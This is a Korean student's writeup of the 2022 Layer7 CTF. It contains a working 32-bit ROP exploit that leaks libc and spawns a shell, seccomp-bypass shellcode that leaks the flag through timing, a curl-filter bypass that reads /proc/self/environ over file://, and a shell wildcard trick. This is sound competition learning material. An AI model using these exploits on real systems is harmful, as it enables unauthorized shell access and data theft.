CTF Writeup

2022 Layer7 CTF Writeup

LittleDev0617 2022. 12. 19. 14:55

포너블 Secom 과 Mic Check 못 풀어서 전체 3등 고등부 2등으로 마무리

중 3 때부터 매년 레쎄 씨텦에서 상품 얻어간다.

중3 ssd

고1 게이밍 마우스

고2 왼쪽의 헤드셋

고3은 키보드를 얻게됐다.

Layer7 짱!

 

 

 

 


1. tea-time (Reversing 6 solves)

역산 짜면 된다.

def decrypt():
    res = [0] * 40
    cipher = [3250307192, 247655037, 3305444027, 3548992586, 2003171038, 1264307023, 3163410791, 1311205716, 3018127296, 2958048297]
    for i in range(5):
        v7 = cipher[9 - 2*i]
        v8 = cipher[8 - 2*i]
        for j in range(32):
            v6 = (-1* 0x61C88647 * (32 - j)) & 0xFFffFFff
            v7 = v7 - ((0x30FD15AC + (v8 >> 5)) ^ (v6 + v8) ^ (-1*0x51D79F51 + v8 * 16))
            v7 &= 0xFFffFFff
            v8 = v8 - ((0x275904AC + (v7 >> 5)) ^ (v6 + v7) ^ (0x5723DD4C + v7 * 16))
            v8 &= 0xFFffFFff
        res[(4-i)*8+4:(4-i)*8+8] = list(struct.pack('<L',v7))
        res[(4-i)*8:(4-i)*8+4] = list(struct.pack('<L',v8))
    print(bytes(res))
decrypt()

flag : LAYER7{33f2e4d2c33bd374a51521a378f68123}

 

2. L@y3r7 (Misc 13 solves)

.주어진 png 파일 끝에 zip 파일이 들어있는 것을 확인할 수 있다.

풀어보면 사진과 압축 파일이 있고 또 압축 해제한다.

파일 안에 열리지 않는 png 파일이 있는데 시그니쳐가 잘못 되어있다. 03을 0D 로 바꿔주면 정상적으로 열린다.

flag : LAYER7{Did_y0u_f1nd_m3?}

 

3. christmasgift (Pwnable 10 solves)

beBadChild 함수에서 BOF 가 터진다. 32bit ROP 짜면 끝

from pwn import remote, p32,u32,ELF,context,log
e = ELF('./christmasgift')
libc = ELF('./libc.so.6')
context.log_level = 'debug'
p = remote('chal.layer7.kr', 8011)
p.sendlineafter(b'\n',b'1')
p.sendlineafter(b'\n',b'4')
f = 0x804881F
pr = 0x080484b9
binsh = 0x804B048
payload = b''
payload += b'a'*0x6c
payload += p32(e.plt['puts'])
payload += p32(pr)
payload += p32(e.got['puts'])
payload += p32(f)

p.sendlineafter(b'chars!!!\n',payload)

p.recvuntil('Are you really a bad child?\n')
leak = u32(p.recv(4))
base = leak - libc.symbols['puts']
system = base + libc.symbols['system']
log.info('%x' % base)

payload = b''
payload += b'a'*0x6c
payload += p32(system)
payload += b'b'*4
payload += p32(binsh)
p.sendlineafter(b'chars!!!\n',payload)
p.interactive()

 

4. file manager software (Misc 8 solves)

command 에서 특수문자만 사용해서 flag를 읽어야한다.

cat 이름의 파일을 만든 후 * 을 실행하면 cat flag 가 실행된다.

flag : Layer7{Get_your_fl4g_By_St4r_Isnt_it_beautiful}

 

5. baby requester (Web 7 solves)

환경 변수에 FLAG가 있다. /proc/self/environ 을 읽어서 leak 하는 방법을 떠올려 볼 수 있다.

from flask import Flask, request
import urllib
import urllib.parse
import os, subprocess

app = Flask(__name__)

BANNED_COMMAND_CHAR = ["\"", "\\", "`", "$", "(", "{", "?", ";", "*", "\r", "\t", "\n"]
BANNED_PROTOCOL = ["gopher", "file"]
BANNED_URI_CHAR = ["@", "&", "#", "?", "["]

def filter(url, banned):
    for x in banned:
        if x in url:
            return False
    return url

def gen_url(url):
    res = ""
    if url.scheme and filter(url.scheme.lower(), BANNED_PROTOCOL):
        res += url.scheme + '://'
    if url.netloc and filter(url.netloc, BANNED_URI_CHAR):
        res += url.netloc
    return res+url.path

@app.route("/")
def index():
    return "Hello, world!!<br><form action='/request' method=POST><input type=text name=url placeholder='ex: http://www.google.com'></input><br><input type=submit value='submit' name='submit'></input></form>"

@app.route("/request", methods=["POST"])
def curl():
    url = filter(request.form["url"], BANNED_COMMAND_CHAR)
    filename = os.urandom(16).hex()
    if url:
        curl_url = gen_url(urllib.parse.urlparse(url))
        print(curl_url)
        curl_res = subprocess.Popen('curl -X GET --max-time 1 -s --show-error "{0}" -o /tmp/{1}.txt'.format(curl_url, filename), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        err = curl_res.communicate()[1]
        if err:
            return err
        return "Success your file is /tmp/{}.txt".format(filename)
    return "Plz input url"

@app.route("/view")
def view():
    try:
        filename = request.args.get("filename")
        fp = open("/tmp/" + filename.replace("/", "").replace("\\", ""), "r")
        res = fp.read()
        fp.close()
        return res
    except FileNotFoundError:
        return "No such file or directory..."

app.run("0.0.0.0", 9999)
def gen_url(url):
    res = ""
    if url.scheme and filter(url.scheme.lower(), BANNED_PROTOCOL):
        res += url.scheme + '://'
    if url.netloc and filter(url.netloc, BANNED_URI_CHAR):
        res += url.netloc
    return res+url.path

 

위 함수에서 두 if 문을 건너뛴다면 url.path 만 더해 return 하게 된다.

 

 

와 같이 하면 첫 if 문은 filter  함수에 걸려서 건너 뛰고, 두 번째 if 문은 netloc이 없어서 건너뛴다.

결국 path만 url 에 추가하면서 file:// 을 추가할 수 있다.

 

//http://chal.layer7.kr:8001/view?filename=246ffd7980bca610477342ff220db964.txt
HOSTNAME=8ce6dc4aa80cPYTHON_PIP_VERSION=22.3.1HOME=/rootGPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DWERKZEUG_SERVER_FD=3PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/66030fa03382b4914d4c4d0896961a0bdeeeb274/public/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.10.9PYTHON_SETUPTOOLS_VERSION=65.5.0PWD=/appPYTHON_GET_PIP_SHA256=1e501cf004eac1b7eb1f97266d28f995ae835d30250bec7f8850562703067dc6FLAG=LAYER7{90c76b22988a1dba11c1fdb15d6b5a50}

flag : LAYER7{90c76b22988a1dba11c1fdb15d6b5a50}

 

6. child requester (Web 6 solves)

baby requester 의 언인텐 솔브로 인해 나온 문제다.

def gen_url(url):
    res = ""
    if url.scheme:
        if filter(url.scheme.lower(), BANNED_PROTOCOL) == False:
            return "Don't allow this protocol"
        res += url.scheme + '://'
    if url.netloc and filter(url.netloc, BANNED_URI_CHAR):
        res += url.netloc
    return res+url.path

gen_url 함수가 수정되었는데, 첫 if문에서 filter에 걸리면 막히게끔 수정되었다.

이제 해결해야할 문제는 첫 if 문을 건너뛰고 netloc과 path를 이용해 file:/ 을 구성해야하는 건데, urlparse docs를 읽다가 다음을 발견했다.

딱 scheme이 '' 이고, netloc와 path를 이용할 수 있는 것이 적합해보였다.

최종적인 url 은 file:/~~ 이 되어 leak 할 수 있다.

flag : Layer7{6bd0fd72985cd5efa65e7a1ac8f37dad}

 

7. Fukuro (Crypto 8 solves)

Y{'034wr0h?AE7Dntyuh4_nolcysmw3e}LRo__r___er 문자열이 주어진다.

잘 보면 LAYER7{ 까지 문자열에 모두 존재한다. 그리고 순서는 규칙이 있는 것 같아보인다.

처럼 오른쪽 L 부터 A Y E R 7 { 까지 가는 게 빙빙도는 느낌. 간단하게 코드짜서 출력해보면 플래그가 나온다.

a = "Y{'034wr0h?AE7Dntyuh4_nolcysmw3e}LRo__r___er"
k = [a.index('L'),a.index('A'),a.index('Y'),a.index('E')]
for i in range(len(a)):
	print(a[k[i%4]+(2*(i//4) if i%4 in [1,3] else i//4)],end='')
#LAYER7{Don't_y0u_h34r_4n_owl_cry_s0mewh3re?}

flag : LAYER7{Don't_y0u_h34r_4n_owl_cry_s0mewh3re?}

 


Not Solved - Secom (Pwnable, 1 solve)

seccomp-tools 로 확인해보면 execve, open, read syscall 만을 ALLOW 한다. whitelist seccomp 문제인데,

출력이 허용 안된 seccomp 문제를 검색하다가 DEFCON 2017 - mute 문제를 알게되었고, blind sql injection 마냥 flag를 open, read 한 후 어셈으로 한글자 비교해서 다르면 무한루프, 같으면 exit syscall 해서 바로 종료(seccomp filter) 하게 만들어 그 시간 차이로 flag를 구하는 방식이었다.

첫 syscall 은 open("flag"), 두 번째는 read(3,rsp,100), 8 byte read 후 shift 하여 1byte cmp, 다르면 syscall 같으면 무한루프 빠지게 했다. 이후 recvlinet(timeout=~~) 을 통해 기다리다가 syscall로 인해 연결이 끊기면 wrong, 안 끊기면 correct라 생각할 수 있다.

코드는 mute writeup 을 참고해서 짰다.

from pwn import remote,context,process,log
import string
import time
def bf(c,l):
    log.info(f'flag[{l}] is {c} ?')
    p = process('./secom')
    payload2 = bytes([104, 102, 108, 97, 103, 72, 137, 231, 49, 210, 49, 246, 106, 2, 88, 15, 5, 49, 192, 106, 3, 95, 106, 100, 90, 72, 137, 230, 15, 5])
    payload2 += bytes([0x48, 0xC7, 0xC0, 0x3C, 0x00, 0x00, 0x00]) # mov rax, 60 (exit)
    if l // 8 == 0:
        payload2 += bytes([0x48, 0x8B, 0x1C, 0x24])
    else:
        payload2 += bytes([0x48, 0x8B, 0x5C, 0x24, l//8 * 8])
    
    payload2 += bytes([0x48, 0xC1, 0xEB, 8 * (l%8)])
    payload2 += bytes([0x80, 0xFB,ord(c)])
    payload2 += bytes([0x74, 0x02, 0x0F, 0x05, 0xEB, 0x00, 0xEB, 0xFC])
    t1 = time.time()
    p.sendafter(b'safe',payload2)
    p.recvuntil(b'code...')
    p.recvuntil(b'\n')
    try:
        p.recvline(timeout=5)
    except:
        t2 = time.time()
        print(t2 - t1)
        p.close()
        return False
    t2 = time.time()
    print(t2 - t1)
    p.close()
    return True

print(bf('a',0))
exit()
flag = ""
while True:
	for c in string.printable:
		if bf(c, len(flag)):
			flag += c
			print('flag : ' + flag)
			break
	else:
		break

위처럼 맞으면 길고, 틀리면 빨리 끊기는 것을 볼 수 있다. timeout 을 1초로 설정하고 flag를 읽어보면

꽤 빨리 구할 수 있다.

로컬에서는 잘 되어서 리모트에서 시도했다.

맞던 아니던 무한루프 빠져서 True 가 나온다. 이리저리 어셈 바꿔가면서 돌려봐도 jmp, je, jne 모두 먹통이다.

seccomp filter 걸리면 Error code 159, 그 외에 139, 무한루프 빠지면 X 인데 점프가 되지 않아 알 수 없다.

그리고 safe 이후로 코드 보내면 이상한 바이트들을 recv하게 되는데 이게 뭔지도 모르겠다.

'CTF Writeup' 카테고리의 다른 글

2022 Iris CTF  (0) 2023.01.08
Dreamhack Christmas CTF 2022 Writeup  (1) 2022.12.24
2022 WhiteHatContest Junior Final Writeup  (0) 2022.11.20
2022 Codegate Junior Final  (1) 2022.11.08
2022 WACon CTF - babystack 2022 etc  (0) 2022.06.26